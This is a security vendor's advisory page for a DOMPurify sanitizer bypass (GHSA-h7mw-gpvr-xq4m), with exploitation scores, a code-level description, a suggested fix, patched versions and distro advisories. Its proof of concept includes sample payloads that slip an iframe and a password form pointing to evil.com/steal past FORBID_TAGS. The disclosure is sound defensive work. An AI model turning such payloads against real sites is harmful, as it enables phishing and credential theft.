Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-h7mw-gpvr-xq4m dompurify

Fix: cure53/DOMPurify@c361baa

GHSA-h7mw-gpvr-xq4m is a Cross-site Scripting (XSS) vulnerability in dompurify. A fix is available for dompurify — see the affected versions and patch details below.

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Also known asCVE-2026-41240
Published
Apr 22, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-h7mw-gpvr-xq4m.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs24th percentile — riskier than 24% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

5Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
dompurifynpm
46.3Mdownloads / week

Description

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmdompurifyall versions3.4.0npm install dompurify@3.4.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompurify, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update dompurify to 3.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h7mw-gpvr-xq4m is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-h7mw-gpvr-xq4m can be triaged on real exposure rather than presence alone.

Tailored to GHSA-h7mw-gpvr-xq4m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate
ProductFixed inAdvisory
Cryostat 4 on RHEL 9cryostat/cryostat-openshift-console-plugin-rhel9:4.2.0-10RHSA-2026:28010
Red Hat Ansible Automation Platform 2.6 for RHEL 9automation-platform-ui-0:2.6.10-1.el9apRHSA-2026:34160
Red Hat build of Apicurio Registry 3.3.1apicurio/apicurio-registry-ui-rhel8RHSA-2026:59360
Red Hat Data Grid 8.6.1dompurifyRHSA-2026:22619
Streams for Apache Kafka 2.9.4dompurifyRHSA-2026:34608
Red Hat Container Native Virtualization 4.13container-native-virtualization/kubevirt-console-plugin-rhel9:1782426816RHSA-2026:36108
Red Hat Container Native Virtualization 4.14container-native-virtualization/kubevirt-console-plugin-rhel9:1781807944RHSA-2026:27944
Red Hat Container Native Virtualization 4.15container-native-virtualization/kubevirt-console-plugin-rhel9:1782917983RHSA-2026:36107

Frequently Asked Questions

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214: /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; } The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely: if (
O3 Security · Impact-Aware SCA

Is GHSA-h7mw-gpvr-xq4m in your dependencies?

O3 Security finds GHSA-h7mw-gpvr-xq4m across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-h7mw-gpvr-xq4m: dompurify | O3 Security